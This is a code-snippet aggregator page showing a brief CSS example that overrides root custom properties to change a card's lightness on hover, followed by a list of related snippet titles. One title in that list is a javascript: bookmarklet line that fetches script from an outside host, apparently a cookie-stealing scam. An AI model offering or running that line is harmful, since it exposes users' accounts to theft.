Override root css variables

:root {
  --lightness: 68%;
  --orange: hsl(255, 72%, var(--lightness));
}
.card {
  background: var(--orange);
  --orange: hsl(255, 72%, var(--lightness));
}
.card:hover {

  --lightness: 45%;
}

Source: stackoverflow.com

Similar codes

0 vote354 views1 answer
Éviter que l'on découvre l'identifiant d'un auteur
CSS
0 vote341 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
-1 vote331 views1 answer
Css border image property
CSS
0 vote350 views1 answer
Unable to locate package neo4j
CSS
8 votes352 views2 answers
Css list style
CSS
-1 vote377 views1 answer
How to remove default styling of a tag
CSS
1 vote317 views1 answer
Css import google font not working
CSS
0 vote343 views1 answer
Center div with variable height
CSS
0 vote322 views1 answer
Bootstrap 3 progress bar animation
CSS
3 votes361 views2 answers
Downgrade composer to 1 in vagrant
CSS